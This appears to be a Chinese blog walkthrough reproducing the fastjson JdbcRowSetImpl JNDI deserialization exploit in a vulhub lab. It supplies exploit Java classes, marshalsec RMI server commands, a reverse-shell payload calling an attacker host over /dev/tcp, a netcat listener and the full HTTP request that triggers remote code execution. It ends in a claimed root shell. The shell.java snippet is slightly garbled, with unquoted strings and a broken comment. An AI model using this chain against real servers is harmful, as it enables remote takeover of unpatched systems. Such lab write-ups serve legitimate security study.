本系列所有漏洞环境均使用vulhub建立
可参考
[Kali安装vulhub][1]
进入正题
漏洞简介
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
阿里巴巴公司开源Java开发组件Fastjson存在反序列化漏洞(CNVD-2022-40233)。攻击者可利用该漏洞实施任意文件写入、服务端请求伪造等攻击行为,造成服务器权限被窃取、敏感信息泄漏等严重影响。
影响版本:
fastjson<=1.2.24
该漏洞影响fastjson 1.2.80及之前所有版本
漏洞复现
开启环境如下
在宿主机(攻击机)进行操作
1、使用com.sun.rowset.JdbcRowSetImpl的利用链,通过 JNDI 注入来执行命令
2、先编译上传命令执行代码,新建 TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
3、打开终端cmd执行javac TouchFile.java
编译,此时生成TouchFile.class文件
4、利用python快速启动临时web服务(ps.省事),python -m http.server 8888
5、利用marshalsec工具(需要maven环境编译),或者直接下载marshalsec-0.0.3-SNAPSHOT-all.jar
6、通过java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://宿主机ip:8888/#TouchFile 2335启动RMI服务器,监听2335 端口,并指定加载远程类 TouchFile.class
用java8执行,高版本会报错
7、利用burpsuite向kali虚拟机靶场发送payload,带上RMI地址,可以看到下图的RMI服务已经发送了TouchFile
这里burp没有返回正确的如下
不过好歹是有东西了
8、进入虚拟机,sudo docker ps查看容器id,执行docker exec -it cee172eaba70 bash进入容器,执行ls /tmp,查看到,我们成功创建了success文件
获取webshell
1、道理同上,创建shell.java,并执行javac shell.java进行编译
import java.lang.Runtime;
import java.lang.Process;
public class shell{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {binbash,-c,exec 5<>/dev/tcp/192.168.0.197/19527;cat <&5 | while read line; do $line 2>&5 >&5; done};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
do nothing
}
}
}
2、将marshalsec指定文件改成shell
同样python起个环境
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://宿主机ip:8888/#shell 2335
3、下载一个netcat,https://eternallybored.org/misc/netcat/,在本地监听19527端口。
.\nc.exe -lvvp 19527
利用BurpSuite发送payload
POST / HTTP/1.1
Host: 192.168.8.134:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 159
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.197:2335/shell",
"autoCommit":true
}
}
成功获得root权限,可执行命令